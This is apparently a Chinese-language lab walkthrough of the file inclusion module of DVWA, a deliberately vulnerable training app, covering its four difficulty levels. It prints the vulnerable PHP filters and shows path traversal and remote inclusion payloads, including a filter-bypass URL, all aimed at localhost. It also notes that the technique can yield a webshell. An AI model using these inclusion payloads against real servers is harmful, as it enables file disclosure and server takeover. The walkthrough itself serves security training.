DVWA--文件包含

PHP中存在文件包含漏洞的前提,在php.ini中allow_url_fopen=on、allow_url_include=on才行,不過一般allow_url_fopen都默認設置的是on。
在這裏插入圖片描述

LOW
在這裏插入圖片描述
在這裏插入圖片描述

在這裏插入圖片描述

能看到配置參數的變化:
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

如果我們改一個不存在的文件

http://localhost/DVWA/vulnerabilities/fi/index.php?page=new.php

在這裏插入圖片描述

它報出一些錯誤,可以認爲
在這裏插入圖片描述

所以我們可以自己嘗試更改可控字段,已達到目的

查看php.ini

http://localhost/DVWA/vulnerabilities/fi/index.php?page=../../php.ini

在這裏插入圖片描述

../ 實現向上一級目錄跳轉,多個時就會返回到根目錄
在這裏插入圖片描述

這表明了文件包含不僅僅能讀文件,還能執行文件。當然,我們不能滿足於此,我們甚至可以嘗試從本地包含文件。
我們在本地www目錄下新建1.txt ----> <?php echo "1.txt" ; ?>

我們輸入網址:

http://localhost/DVWA/vulnerabilities/fi/index.php?page=http://127.0.0.1/1.txt

在這裏插入圖片描述

果然,外部包含文件成功,這樣的話我們可以在1.txt代碼中寫入惡意代碼,拿到服務器的webshell

Medium

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

就是將輸入的url參數中包含的“http://”、“https://”, “. . /” , ". . ""等字符串替換成空的字符串,
即過濾了遠程文件包含, 對於本地文件包含並沒有任何過濾。

本地包含:
在這裏插入圖片描述

遠程包含:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=httphttp://://127.0.0.1/1.txt

在這裏插入圖片描述

High

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
	// This isn't the page we want!
	echo "ERROR: File not found!";
	exit;
}

?>

這個時候用file
在這裏插入圖片描述

在這裏插入圖片描述

攻擊者思路
在這裏插入圖片描述

Impossible

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
	// This isn't the page we want!
	echo "ERROR: File not found!";
	exit;
}

?>

只允許固定名稱的三個文件,所以可以說不存在文件包含了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章